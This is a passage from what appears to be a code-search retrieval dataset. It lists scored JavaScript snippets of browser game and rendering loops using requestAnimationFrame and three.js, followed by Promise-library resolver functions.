}", "title": "" }, { "docid": "e857976d1b4d5b7626654291ec466283", "score": "0.674541", "text": "update(){\n\t\t/*\n\t\tif(this.myData.state){\n\t\t\tthis.scene.setActive(true)\n\t\t\tthis.scene.setVisible(true)\n\t\t} */\n\t}", "title": "" }, { "docid": "df7f180be77c29ae799b9db719535a40", "score": "0.6744466", "text": "update() {\n this.camera.focusOn(this.camera_focus);\n this.camera.updateScene(this.stage, this.renderer);\n }", "title": "" }, { "docid": "a70bf3d7b487c80a22ce86ce95713513", "score": "0.6716207", "text": "function update()\n{\n\trequestAnimationFrame(update);\n\trenderer.render(scene, camera);\n\t//delta = clock.getDelta();\n\tif (textScreen == false)\n\t{\n\t\tpaddle.PaddleMovement();\n\t\tpaddle.Collision();\n\t\tballPrime.Collision();\n\t\tCheckIsFalling();\n\t\tUpdateLives();\n\t\tUpdateScore();\n\t\tCheckWinLoss();\n }\n\tscene.autoUpdate = true;\n}", "title": "" }, { "docid": "e35d347bc2bae5166edf356b3dfb91a8", "score": "0.671365", "text": "function animate() {\n requestAnimationFrame(animate);\n renderer.render(stage);\n}", "title": "" }, { "docid": "35e14d8044e80d15e190115e5499b7b5", "score": "0.6712472", "text": "function main (){\n\n update();\n render();\n requestAnimationFrame(main);\n}", "title": "" }, { "docid": "ec09bd7dae0296756ad1244c9fbf9aad", "score": "0.67124474", "text": "function animate() {\n requestAnimationFrame(animate);\n render();\n update();\n }", "title": "" }, { "docid": "8b1e981496f963a99c97b445ce87e0f7", "score": "0.66907483", "text": "function run() {\n Time.update();\n _context.clearRect(0, 0, _canvas.width, _canvas.height);\n StateMachine.get().update();\n StateMachine.get().draw();\n\n //draw something\n requestAnimationFrame(run);\n Input.update();\n}", "title": "" }, { "docid": "270c7d9ab6c19db47c37adf833600715", "score": "0.6689298", "text": "function animate()\n{\n requestAnimationFrame(animate);\n\n if(openingScene.visible)\n {\n renderer.render(openingScene);\n }\n else if(creditsScene.visible)\n {\n renderer.render(creditsScene);\n }\n else if(howToScene.visible)\n {\n renderer.render(howToScene);\n }\n else if(playScene.visible)\n {\n bump.hit(candyCorn,candySprites, false, true, true,\n function (collision, platform) {\n playScene.removeChild(platform);\n });\n candyCorn.speed = 2;\n\n renderer.render(playScene);\n\n update_camera();\n }\n}", "title": "" }, { "docid": "eae2a0faa1ad59400c910a58392ae849", "score": "0.66881555", "text": "init() {\n this.scene.add(this.controls.getObject());\n\n // Scene basic setup\n this.renderer.setClearColor(0x252730, 1);\n\n this.renderer.setSize(window.innerWidth, window.innerHeight);\n this.renderer.setPixelRatio(window.devicePixelRatio || 1);\n this.renderer.shadowMap.enabled = true;\n\n document.body.appendChild(this.renderer.domElement);\n\n\n // Window resize event handler\n window.addEventListener('resize', () => {\n this.camera.aspect = window.innerWidth / window.innerHeight;\n this.camera.updateProjectionMatrix();\n \n this.renderer.setSize(window.innerWidth, window.innerHeight);\n this.renderer.setPixelRatio(window.devicePixelRatio || 1);\n\n this.stateList[this.state].onResize(this.renderer.domElement.width, this.renderer.domElement.height);\n });\n\n // handle pointer lock authorization\n if ('pointerLockElement' in document || 'mozPointerLockElement' in document || 'webkitPointerLockElement' in document) {\n\n const pointerlockchange = (e) => {\n this.controls.enabled = document.pointerLockElement === document.body \n || document.mozPointerLockElement === document.body \n || document.webkitPointerLockElement === document.body;\n };\n \n const pointerlockerror = (e) => { };\n \n document.addEventListener('pointerlockchange', pointerlockchange, false);\n document.addEventListener('mozpointerlockchange', pointerlockchange, false);\n document.addEventListener('webkitpointerlockchange', pointerlockchange, false);\n document.addEventListener('pointerlockerror', pointerlockerror, false);\n document.addEventListener('mozpointerlockerror', pointerlockerror, false);\n document.addEventListener('webkitpointerlockerror', pointerlockerror, false);\n \n this.renderer.domElement.addEventListener('click', () => {\n document.body.requestPointerLock = document.body.requestPointerLock \n || document.body.mozRequestPointerLock \n || document.body.webkitRequestPointerLock;\n document.body.requestPointerLock();\n });\n }\n\n \n document.body.addEventListener('keydown', e => this.handleKeyboard(e.key, true && this.controls.enabled));\n document.body.addEventListener('keyup', e => this.handleKeyboard(e.key, false));\n }", "title": "" }, { "docid": "6ba71dc117c5561457bb64b50e3e8836", "score": "0.66856045", "text": "function Update(){\n\n switch(powerupCount)\n {\n case 0: powerImage.src = \"media/powerEmpty.png\";\n break;\n case 1: powerImage.src = \"media/power1.png\";\n break;\n case 2: powerImage.src = \"media/power2.png\";\n break;\n case 3: powerImage.src = \"media/powerFull.png\";\n break;\n }\n\n\n animID = requestAnimationFrame(Update.bind(this));\n\n //Handle deltaTime calculations here.\n thisFrame = Date.now();\n deltaTime = thisFrame - lastFrame;\n lastFrame = thisFrame;\n //console.log(deltaTime); //log deltaTime.\n\n cloudPosition -= deltaTime * cloudSpeed;\n\n if(cloudPosition < (-clouds.clientWidth - 500))\n {\n cloudPosition = canvas.clientWidth + clouds.clientWidth + 50;\n }\n\n switch(gameState){\n case GAME_STATE.MENU:\n DrawMenu();\n break;\n case GAME_STATE.GAME:\n //Update the current segment\n animSpeed++;\n if(animSpeed % 7 == 0)\n {\n currentFrame++;\n if(currentFrame > 13)\n {\n currentFrame = 0;\n }\n }\n birdXPos += (deltaTime * birdSpeed);\n if(birdXPos > canvas.clientWidth*2)\n {\n birdXPos = 0-200;\n birdYPos = 100 + Math.random() * 200;\n }\n DrawHUD();\n //Draw the segments\n if(oldSegments.length != 0){\n for(var i = 0; i < oldSegments.length; i++){\n oldSegments[i].Draw();\n }\n }\n currentSegment.Update(); //Update the currentSegment\n currentSegment.Draw(); //Draw the currentSegment\n break;\n case GAME_STATE.FINISH:\n //Update the current segment\n DrawHUD();\n //Draw the segments\n if(oldSegments.length != 0){\n for(var i = 0; i < oldSegments.length; i++){\n oldSegments[i].Draw();\n }\n }\n break;\n case GAME_STATE.GAMEOVER:\n DrawGameOver();\n break;\n case GAME_STATE.PAUSE:\n cancelAnimationFrame(animID);\n DrawPause();\n break;\n }\n }", "title": "" }, { "docid": "ea8ba89fdb8c855824a0a27e5f852154", "score": "0.66828215", "text": "_update() {\n\n //Is the game running\n if (this.isRunning) {\n\n //Updates variables and anything not being rendered onto the screen\n this.tick();\n\n\n\n //Renders all gameObjects onto the screen\n this.render();\n\n\n\n //Call the '_update' loop again using 'requestAnimationFrame'\n window.requestAnimationFrame(this._update.bind(this));\n\n }\n\n }", "title": "" }, { "docid": "0d5282a19cb68693e17136f94120b26b", "score": "0.6680338", "text": "function animate () {\n\n controls.update();\n leavePeices();\n hoverOnPeices();\n renderer.render(scene, camera)\n requestAnimationFrame(animate)\n}", "title": "" }, { "docid": "a2af7a039f7697231227c437c931d3e3", "score": "0.6678134", "text": "loop() {\n this.update();\n this.render();\n\n window.requestAnimationFrame(() => this.loop());\n }", "title": "" }, { "docid": "135e61ec1e2b7fbcd1f14e1cdbeb5a52", "score": "0.6675389", "text": "function render() {\n view.update();\n requestAnimationFrame(render);\n}", "title": "" }, { "docid": "780e664b1d8c7fd74a94c5a400df0b31", "score": "0.6665595", "text": "function render() {\n if(scene._stopped || scene.contextLost) {\n return\n }\n // this order is important: ios safari sometimes has sync raf\n redraw()\n requestAnimationFrame(render)\n }", "title": "" }, { "docid": "cbfba34a4081049add7a356b11a3df3b", "score": "0.66613084", "text": "function gameLoop() {\n //setTimeout(function() {\n w3r_update();\n renderer.render(scene, camera);\n requestAnimationFrame(gameLoop);\n //}, 1000 / fps);\n \n}", "title": "" }, { "docid": "c2e31e27cf6aac82cef1115041d1e35c", "score": "0.6657219", "text": "function animate() {\n\n requestAnimationFrame(animate)\n renderer.render(scene, camera)\n\n}", "title": "" }, { "docid": "01ccf2804d550bbdfa770e377fdd0cb9", "score": "0.66450614", "text": "function animate() {\n requestAnimationFrame(animate);\n renderer.render(scene, camera);\n onWindowResize();\n\n uniform.u_time.value = clock.getElapsedTime();\n}", "title": "" }, { "docid": "01ccf2804d550bbdfa770e377fdd0cb9", "score": "0.66450614", "text": "function animate() {\n requestAnimationFrame(animate);\n renderer.render(scene, camera);\n onWindowResize();\n\n uniform.u_time.value = clock.getElapsedTime();\n}", "title": "" }, { "docid": "8a6dab611ff4bbb9d7e09078fdf22a78", "score": "0.6643532", "text": "function updateScene()\n {\n // Update the objects in the scene based on our tweens.\n TWEEN.update();\n\n // Render the scene to the canvas.\n renderer.render(scene, camera);\n }", "title": "" }, { "docid": "e508b01e284483495ec1e8ab2daaad75", "score": "0.6634191", "text": "function animate() {\n \trequestAnimationFrame( animate );\n \tTWEEN.update();\n \trenderer.render(scene, camera);\n }", "title": "" }, { "docid": "4dbebbe819d38e07aaef9a1f938af46a", "score": "0.6631336", "text": "function animate() {\n self._render(); // request new frame\n\n\n requestAnimationFrame(() => {\n animate();\n });\n } // renderers", "title": "" }, { "docid": "872672a33647e6917040f0e05400b0ad", "score": "0.6624355", "text": "function render(){\n requestAnimationFrame(render);\n renderer.render(scene,camera);\n\n}", "title": "" }, { "docid": "a8414afe942a1b79518eea26bf57b696", "score": "0.6622248", "text": "start() {\n this.renderer.setAnimationLoop(() => {\n this.tick(); //calls the master tick() method below\n this.renderer.render(this.scene, this.camera);\n });\n }", "title": "" }, { "docid": "d9c8e5a2871c3e346c057c3c82d27e91", "score": "0.66173863", "text": "function render(){\r\n\trequestAnimationFrame(render);\r\n\tupdate();\r\n\trenderer.render(scene,camera);\r\n}", "title": "" }, { "docid": "b9a261adb45f204bb6c26c27cd75977d", "score": "0.66167957", "text": "function updateScene() {\n lastTime = Date.now();\n\n //Updating camera view by control inputs\n cameraControl.update();\n //Updating FPS monitor\n stats.update();\n //Sound Update\n // mySound3D.update(players.p1.element);\n // mySound3D2.update(players.p1.element);\n // mySound3D3.update(players.p1.element);\n // mySound3D4.update(players.p1.element);\n\n //Player controls\n for (const player of Object.keys(players)) {\n if (players[player] != null) {\n players[player].updateControls();\n players[player].collidableBox.update(players[player]);\n }\n }\n\n\n\n\n for (const label of Object.keys(labels)) {\n labels[label].lookAt(cameras.current.cam.position);\n if (label == \"p1\") {\n labels[label].position.copy(players.p1.element.position);\n }\n if (label == \"p2\") {\n labels[label].position.copy(players.p2.element.position);\n }\n }\n\n // spotLight.lookAt(players.p1.element.position);\n\n //Acá irán las cosas que se deben ir actualizando como el lookAt de la cam o el position.\n\n //Si camera2.isCurrent == true, entonces el lookAt debe seguir la posición del elemento.\n if (cameras.camera2.isCurrent) {\n cameras.current.cam.lookAt(players.p1.element.position);\n }\n if (cameras.camera4.isCurrent) {\n cameras.current.cam.lookAt(players.p1.element.position);\n }\n\n\n}", "title": "" }, { "docid": "eadd11f8ae36e4d5c5a2b7c9407b7e82", "score": "0.6615705", "text": "function render() {\n requestAnimationFrame(render);\n renderer.render(stage);\n }", "title": "" }, { "docid": "cc680aa092f487eb3e4b3777f299f110", "score": "0.6615532", "text": "run() {\n this.update();\n this.render();\n requestAnimationFrame(this.run);\n }", "title": "" }, { "docid": "f0c04324650827cf8bc4508bffcaa487", "score": "0.66122335", "text": "function animateScene() {\n requestAnimationFrame(animateScene);\n renderer.render(scene, cameras.current);\n updateScene();\n}", "title": "" }, { "docid": "9361b8bda75c3bf75a6c6ae7eb2bd416", "score": "0.6607339", "text": "function animateScene() {\n requestAnimationFrame(animateScene);\n renderer.render(scene, cameras.current.cam);\n updateScene();\n}", "title": "" }, { "docid": "df77d1d4543506992f4fe6e95a5a532f", "score": "0.6604784", "text": "function animate() {\n\t// note: three.js includes requestAnimationFrame shim\n\trequestAnimationFrame( animate );\n\t//*\n\tif (!controls) {\n\t\talert('no controls found');\n\t}\n\telse {\n\t\tcontrols.update();\n\t}//*/\n\t//mesh.rotation.x += 0.01;\n\t//mesh.rotation.y += 0.02;\n\trenderer.render( scene, camera );\n\t\n\t\n}", "title": "" }, { "docid": "7f4e75e88c045c92e027576c1d9a80f3", "score": "0.6596308", "text": "update() {\n this.frame += 1;\n\n this.renderedCells = 0;\n this.renderedBuckets = 0;\n this.renderedInstances = 0;\n this.renderedParticles = 0;\n\n for (let scene of this.scenes) {\n scene.update();\n\n this.renderedCells += scene.renderedCells;\n this.renderedBuckets += scene.renderedBuckets;\n this.renderedInstances += scene.renderedInstances;\n this.renderedParticles += scene.renderedParticles;\n }\n }", "title": "" }, { "docid": "0c56c8064df6e7b3a88f03d943f72a2a", "score": "0.6591975", "text": "function render() {\n requestAnimationFrame(render)\n renderer.render(scene, camera)\n _collada.scene.scale.y = guiControls.height\n _collada.scene.scale.x = guiControls.size\n _collada.scene.scale.z = guiControls.size\n}", "title": "" }, { "docid": "8919a3f76a6ca19e29796bd75952a916", "score": "0.6589663", "text": "updateScene() {\n this.scene.updateScene(this.themes[this.selectedTheme])\n this.gameboardProperties = this.themes[this.selectedTheme].gameboardProperties\n\n if (this.gameboard) this.gameboard.updateBoard(this.gameboardProperties)\n\n this.camera.startAnimation(\"position\", 1, () => { },\n [\n this.gameboardProperties.camera.x,\n this.gameboardProperties.camera.y,\n this.gameboardProperties.camera.z\n ],\n [\n this.gameboardProperties.x,\n this.gameboardProperties.y,\n this.gameboardProperties.z\n ])\n }", "title": "" }, { "docid": "262f59b6e28001459a9cf2ab226e3ef9", "score": "0.65860623", "text": "function animate() {\n\n updateSize();\n\n // render\n stats.update();\n\n for (var ii = 0; ii < views.length; ++ii) {\n\n view = views[ii];\n camera = view.camera;\n\n var left = Math.floor(windowWidth * view.left);\n var bottom = Math.floor(windowHeight * view.bottom);\n var width = Math.floor(windowWidth * view.width);\n var height = Math.floor(windowHeight * view.height);\n renderer.setViewport(left, bottom, width, height);\n renderer.setScissor(left, bottom, width, height);\n renderer.enableScissorTest(true);\n renderer.setClearColor(view.background);\n\n camera.aspect = width / height;\n camera.updateProjectionMatrix();\n\n renderer.render(scene, camera);\n }\n\n\n // request new frame\n requestAnimationFrame(function() {\n animate();\n });\n }", "title": "" }, { "docid": "b89c38f07a1fa393889e35aef8886b14", "score": "0.65791196", "text": "function run() {\n // Ask to call again run\n requestAnimationFrame(run);\n\n // Render the scene\n render();\n\n // Calls the animate function if objects or camera should move\n animate();\n}", "title": "" }, { "docid": "56690390fe22296e03e0ddbd519ada98", "score": "0.6574118", "text": "function update(){\r\n if(!keepUpdating){\r\n return; \r\n }\r\n \r\n setTimeout(function(){\r\n if(textOpacity <= 1)\r\n textOpacity += 0.005;\r\n }, 700);\r\n ctx.clearRect(0,0, 1000, 500); \r\n updateBackground(); \r\n updateText();\r\n if(bloop.lives == 0){\r\n deathScreen(); \r\n return; \r\n }\r\n \r\n if(portal.calcDistFromPlayer(bloop)){\r\n gameRun = gameRun + 1; \r\n ctx.fillStyle = \"black\"; \r\n ctx.fillRect(0, 0, 1000, 500); \r\n levels[gameRun](); \r\n }\r\n if(obstacles.length != 0){\r\n for(let i = 0; i < obstacles.length; i++){\r\n obstacles[i].drawObstacle(); \r\n }\r\n }\r\n if(platforms.length != 0){\r\n for(let i = 0; i < platforms.length; i++){\r\n platforms[i].drawPlatform(); \r\n }\r\n }\r\n portal.drawPortal();\r\n \r\n updatePlayer(); \r\n \r\n if(keepUpdating)\r\n requestAnimationFrame(update); \r\n}", "title": "" }, { "docid": "1de026c6f64e8a1af1b2bee9dbdfc86e", "score": "0.6568292", "text": "run() {\n // Engine entities are structured in a tree, so it should be enough to ask any top level components\n // to do their updates here\n this.renderer.autoClear = false;\n\n // Request another run on the next animation frame\n requestAnimationFrame(this.run.bind(this));\n this.renderer.clear();\n for (let i = 0; i < this.screens.length; ++i) {\n this.screens[i].update.apply(this.screens[i]);\n this.renderer.clearDepth();\n this.screens[i].render.call(this.screens[i], this.renderer);\n }\n }", "title": "" }, { "docid": "16986ae0f30223d9d940e3cfd7ab80fe", "score": "0.6556102", "text": "function update() {\n //Call update once per frame\n window.requestAnimationFrame(update);\n\n //Clear the screen at the beginning of each frame\n ctx.clearRect(0, 0, canvas.width, canvas.height);\n\n //Check the current state, and run the appropriate code per frame\n switch (state) {\n case STATE.TITLE:\n updateTitle();\n break;\n case STATE.LOADING:\n updateLoading();\n break;\n case STATE.SONG:\n updateSong();\n break;\n case STATE.END:\n updateEnd();\n break;\n }\n}", "title": "" }, { "docid": "acf985e3b6490645c62267dd08e3e0cb", "score": "0.65526325", "text": "function run(){\n game.update()\n game.gameOver()\n game.MainMenu()\n requestAnimationFrame(run);\n}", "title": "" }, { "docid": "919c34b265096c12c0e246fc229d66c1", "score": "0.65509725", "text": "function animate() {\n // rotate cubes\n cubes.forEach(cube => rotateCube(cube));\n\n controls.update();\n\n\trequestAnimationFrame( animate );\n\trenderer.render( scene, camera );\n}", "title": "" }, { "docid": "7f41351d07362c22e227609dca811dce", "score": "0.654864", "text": "function gameLoop() {\r\n stats.update();\r\n checkControls();\r\n stage.update();\r\n // render using requestAnimationFrame\r\n requestAnimationFrame(gameLoop);\r\n // render the scene\r\n renderer.render(scene, camera);\r\n }", "title": "" }, { "docid": "7e8d86258f834cadf11eee443c0e8ef9", "score": "0.65480757", "text": "function render () {\n requestAnimationFrame( render ); \n renderer.render( scene, camera ); // Render Scene and Camera\n // controls.update(); // For Orbit Controller\n}", "title": "" }, { "docid": "169db6c7aad6110595977244d3cdafb2", "score": "0.6546564", "text": "function animate() {\n window.requestAnimationFrame(animate);\n render();\n update();\n}", "title": "" }, { "docid": "023415f9dcdf2f24be603ebcd0af4444", "score": "0.65463954", "text": "function animate() {\n\t// render the 3D scene\n\trender();\n\t// relaunch the 'timer' \n\trequestAnimationFrame(animate);\n\t// update the stats\n\tstats.update();\n\t// update the tweens from TWEEN library\n\tTWEEN.update();\n}", "title": "" }, { "docid": "3e1670ec7a6877437f93112e283b0eab", "score": "0.6545169", "text": "function tick() {\n\t// arranges for tick to be called again\n requestAnimFrame(tick);\n\t// draws everything\n drawScene();\n\t// changes vars for next frame\n animate();\n}", "title": "" }, { "docid": "0d730cab0a1a7bba79e7939935784620", "score": "0.65433246", "text": "function drawFrame(){\n checkRayLineIntersections();\n clearCanvas();\n Scene.render();\n updatePlay();\n fps.drawFPS();\n}", "title": "" }, { "docid": "f096ab10d629982758ec2e68192ae5e8", "score": "0.6540035", "text": "_loop () {\n window.requestAnimationFrame(() => {\n this.draw()\n if (this.loop) {\n this._loop()\n }\n })\n }", "title": "" }, { "docid": "895d30ba0a0333e0f282c834bb352838", "score": "0.6534568", "text": "animate() {\n if(this.first){\n return;\n }\n if(this.runner){\n this.lightEntities.y = this.runner.pos.y+window.innerHeight/2;\n this.lightEntities.x = -this.runner.pos.x+window.innerWidth/2;\n }\n for(let light of this.lightSources){\n light.update();\n }\n this.draw.render(this.lights, this.texture);\n }", "title": "" }, { "docid": "73d53b6e5aad59736805b2a34c6a4de2", "score": "0.653122", "text": "function onFrame() {\n var sliderVal0 = parseInt(slider.val()[0]);\n var sliderVal1 = parseInt(slider.val()[1]);\n\n if ((head !== sliderVal0) || (tail !== sliderVal1)) {\n head = sliderVal0;\n tail = sliderVal1;\n updateAllTheGeometry();\n }\n requestAnimationFrame( onFrame );\n TWEEN.update();\n render();\n}", "title": "" }, { "docid": "2c0724b41db7a7643d0202a06b2fe428", "score": "0.6528258", "text": "function loop() {\n\trequestAnimationFrame(loop);\n\trender();\n}", "title": "" }, { "docid": "46baddc0c71ac3e4d00e7dc133e123b5", "score": "0.65221816", "text": "safeUpdate() {\n if (!this.rendering) {\n this.updateCanvas();\n }\n }", "title": "" }, { "docid": "5938efe75ab2c6343a70a8ef8fb872e8", "score": "0.6520988", "text": "function animate() {\r\n requestAnimationFrame( animate );\r\n\trender();\t\t\r\n\tupdate();\r\n}", "title": "" }, { "docid": "99aa58cd055f6c5b3d2fb43f3b4efed3", "score": "0.6518563", "text": "function render() {\n // console.log('rendered');\n requestAnimationFrame( render );\n // sphere.rotation.x += 0.01;\n // sphere.rotation.y += 0.001;\n controls.update();\n renderer.render( scene, camera );\n }", "title": "" }, { "docid": "52f89b8e27d87f9891b19d1c0a307bd2", "score": "0.6517117", "text": "function update(renderer, scene, camera, controls){\n renderer.render(\n scene,\n camera,\n \n );\n //call controls to activate orbitControls\n controls.update();\n\n // create this function to recursively called the given function update.\n requestAnimationFrame(function() {\n update(renderer, scene, camera, controls);\n })\n}", "title": "" } ]
6142500828dd94a6dd45e208b0bbf624
Take a potentially misbehaving resolver function and make sure onFulfilled and onRejected are only called once. Makes no guarantees about asynchrony.
[ { "docid": "37f34f41e6f65c7cb374de07177bdf12", "score": "0.0", "text": "function doResolve(fn, promise) {\n var done = false;\n var res = tryCallTwo(fn, function(value) {\n if (done) return;\n done = true;\n resolve(promise, value);\n }, function(reason) {\n if (done) return;\n done = true;\n reject(promise, reason);\n });\n if (!done && res === IS_ERROR) {\n done = true;\n reject(promise, LAST_ERROR);\n }\n }", "title": "" } ]
[ { "docid": "4ad58bedb20f2b4ea17f38e13d86014a", "score": "0.70803595", "text": "function doResolve(fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return\n done = true\n onFulfilled(value)\n }, function (reason) {\n if (done) return\n done = true\n onRejected(reason)\n })\n } catch (ex) {\n if (done) return\n done = true\n onRejected(ex)\n }\n }", "title": "" }, { "docid": "d561e4ab84e69e058e0e6779266c00ce", "score": "0.7035267", "text": "function doResolve(fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n onFulfilled(value);\n }, function (reason) {\n if (done) return;\n done = true;\n onRejected(reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n onRejected(ex);\n }\n }", "title": "" }, { "docid": "1633253b9e91411a02b10a8a74d14ad4", "score": "0.70328385", "text": "function doResolve(fn, onFulfilled, onRejected) {\n\t\tvar done = false;\n\t\ttry {\n\t\t\tfn(function (value) {\n\t\t\t\tif (done) return;\n\t\t\t\tdone = true;\n\t\t\t\tonFulfilled(value);\n\t\t\t}, function (reason) {\n\t\t\t\tif (done) return;\n\t\t\t\tdone = true;\n\t\t\t\tonRejected(reason);\n\t\t\t})\n\t\t} catch (ex) {\n\t\t\tif (done) return;\n\t\t\tdone = true;\n\t\t\tonRejected(ex);\n\t\t}\n\t}", "title": "" }, { "docid": "1633253b9e91411a02b10a8a74d14ad4", "score": "0.70328385", "text": "function doResolve(fn, onFulfilled, onRejected) {\n\t\tvar done = false;\n\t\ttry {\n\t\t\tfn(function (value) {\n\t\t\t\tif (done) return;\n\t\t\t\tdone = true;\n\t\t\t\tonFulfilled(value);\n\t\t\t}, function (reason) {\n\t\t\t\tif (done) return;\n\t\t\t\tdone = true;\n\t\t\t\tonRejected(reason);\n\t\t\t})\n\t\t} catch (ex) {\n\t\t\tif (done) return;\n\t\t\tdone = true;\n\t\t\tonRejected(ex);\n\t\t}\n\t}", "title": "" }, { "docid": "1633253b9e91411a02b10a8a74d14ad4", "score": "0.70328385", "text": "function doResolve(fn, onFulfilled, onRejected) {\n\t\tvar done = false;\n\t\ttry {\n\t\t\tfn(function (value) {\n\t\t\t\tif (done) return;\n\t\t\t\tdone = true;\n\t\t\t\tonFulfilled(value);\n\t\t\t}, function (reason) {\n\t\t\t\tif (done) return;\n\t\t\t\tdone = true;\n\t\t\t\tonRejected(reason);\n\t\t\t})\n\t\t} catch (ex) {\n\t\t\tif (done) return;\n\t\t\tdone = true;\n\t\t\tonRejected(ex);\n\t\t}\n\t}", "title": "" }, { "docid": "9a7e8c9b01748de56206697a26b2b661", "score": "0.7029258", "text": "function doResolve(fn, onFulfilled, onRejected) {\n\t\tvar done = false;\n\t\ttry {\n\t\t\tfn(function (value) {\n\t\t\t\tif (done) return\n\t\t\t\tdone = true\n\t\t\t\tonFulfilled(value)\n\t\t\t}, function (reason) {\n\t\t\t\tif (done) return\n\t\t\t\tdone = true\n\t\t\t\tonRejected(reason)\n\t\t\t})\n\t\t} catch (ex) {\n\t\t\tif (done) return\n\t\t\tdone = true\n\t\t\tonRejected(ex)\n\t\t}\n\t}", "title": "" }, { "docid": "41daad190113bc77dd99e90ec96562f9", "score": "0.70284194", "text": "function doResolve(fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function (value) {\n if (done)\n return;\n done = true;\n onFulfilled(value);\n }, function (reason) {\n if (done)\n return;\n done = true;\n onRejected(reason);\n });\n }\n catch (ex) {\n if (done)\n return;\n done = true;\n onRejected(ex);\n }\n }", "title": "" }, { "docid": "3f75b17942a34e99883b4b726930500a", "score": "0.6984924", "text": "function doResolve(fn, onFulfilled, onRejected) {\n\t var done = false;\n\t try {\n\t fn(function (value) {\n\t if (done) return\n\t done = true\n\t onFulfilled(value)\n\t }, function (reason) {\n\t if (done) return\n\t done = true\n\t onRejected(reason)\n\t })\n\t } catch (ex) {\n\t if (done) return\n\t done = true\n\t onRejected(ex)\n\t }\n\t}", "title": "" }, { "docid": "3f75b17942a34e99883b4b726930500a", "score": "0.6984924", "text": "function doResolve(fn, onFulfilled, onRejected) {\n\t var done = false;\n\t try {\n\t fn(function (value) {\n\t if (done) return\n\t done = true\n\t onFulfilled(value)\n\t }, function (reason) {\n\t if (done) return\n\t done = true\n\t onRejected(reason)\n\t })\n\t } catch (ex) {\n\t if (done) return\n\t done = true\n\t onRejected(ex)\n\t }\n\t}", "title": "" }, { "docid": "9ec2561920732095d08b5fb7f6d20367", "score": "0.6961584", "text": "function doResolve(fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return\n done = true\n onFulfilled(value)\n }, function (reason) {\n if (done) return\n done = true\n onRejected(reason)\n })\n } catch (ex) {\n if (done) return\n done = true\n onRejected(ex)\n }\n}", "title": "" }, { "docid": "9ec2561920732095d08b5fb7f6d20367", "score": "0.6961584", "text": "function doResolve(fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return\n done = true\n onFulfilled(value)\n }, function (reason) {\n if (done) return\n done = true\n onRejected(reason)\n })\n } catch (ex) {\n if (done) return\n done = true\n onRejected(ex)\n }\n}", "title": "" }, { "docid": "9ec2561920732095d08b5fb7f6d20367", "score": "0.6961584", "text": "function doResolve(fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return\n done = true\n onFulfilled(value)\n }, function (reason) {\n if (done) return\n done = true\n onRejected(reason)\n })\n } catch (ex) {\n if (done) return\n done = true\n onRejected(ex)\n }\n}", "title": "" }, { "docid": "9ec2561920732095d08b5fb7f6d20367", "score": "0.6961584", "text": "function doResolve(fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return\n done = true\n onFulfilled(value)\n }, function (reason) {\n if (done) return\n done = true\n onRejected(reason)\n })\n } catch (ex) {\n if (done) return\n done = true\n onRejected(ex)\n }\n}", "title": "" }, { "docid": "9ec2561920732095d08b5fb7f6d20367", "score": "0.6961584", "text": "function doResolve(fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return\n done = true\n onFulfilled(value)\n }, function (reason) {\n if (done) return\n done = true\n onRejected(reason)\n })\n } catch (ex) {\n if (done) return\n done = true\n onRejected(ex)\n }\n}", "title": "" }, { "docid": "de96286b4e8b60d171195756b1e7dfe1", "score": "0.6912273", "text": "function doResolve(fn, onFulfilled, onRejected) {\r\n var done = false;\r\n try {\r\n fn(function (value) {\r\n if (done) return;\r\n done = true;\r\n onFulfilled(value);\r\n }, function (reason) {\r\n if (done) return;\r\n done = true;\r\n onRejected(reason);\r\n })\r\n } catch (ex) {\r\n if (done) return;\r\n done = true;\r\n onRejected(ex);\r\n }\r\n }", "title": "" }, { "docid": "64dae9c40dc781e909c5d9efbfbb33a6", "score": "0.687246", "text": "function doResolve(fn, onFulfilled, onRejected) {\r\n var done = false;\r\n try {\r\n fn(function (value) {\r\n if (done) return\r\n done = true\r\n onFulfilled(value)\r\n }, function (reason) {\r\n if (done) return\r\n done = true\r\n onRejected(reason)\r\n })\r\n } catch (ex) {\r\n if (done) return\r\n done = true\r\n onRejected(ex)\r\n }\r\n}", "title": "" }, { "docid": "39af65abdb200ad6bc9dc7a260ef6035", "score": "0.6289063", "text": "function assumePromise(f) {\n\tvar deferred = q.defer();\n\n\t// f might return a promise\n\tvar maybePromise = f(function (e, r) {\n\t\tif (q.isPromise(maybePromise)) return console.warn(\"The function is both a function and called this callback. Preventing duplicate callback now.\");\n\t\t// Callback style\n\t\telse e ? deferred.reject(e) : deferred.resolve(r);\n\t});\n\n\t// Forward\t\n\tif (q.isPromise(maybePromise)) maybePromise.then(deferred.resolve, deferred.reject, deferred.notify);\n\n\treturn deferred.promise;\n}", "title": "" }, { "docid": "45b59205a7687db5107e567214b7095b", "score": "0.6264794", "text": "function doResolve(promise, fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function Promise_resolve(value) {\n if (done) return;\n done = true;\n onFulfilled(value);\n }, function Promise_reject(reason) {\n if (done) return promise._catched;\n done = true;\n return onRejected(reason);\n });\n } catch (ex) {\n if (done) return;\n return onRejected(ex);\n }\n }", "title": "" }, { "docid": "45b59205a7687db5107e567214b7095b", "score": "0.6264794", "text": "function doResolve(promise, fn, onFulfilled, onRejected) {\n var done = false;\n try {\n fn(function Promise_resolve(value) {\n if (done) return;\n done = true;\n onFulfilled(value);\n }, function Promise_reject(reason) {\n if (done) return promise._catched;\n done = true;\n return onRejected(reason);\n });\n } catch (ex) {\n if (done) return;\n return onRejected(ex);\n }\n }", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function 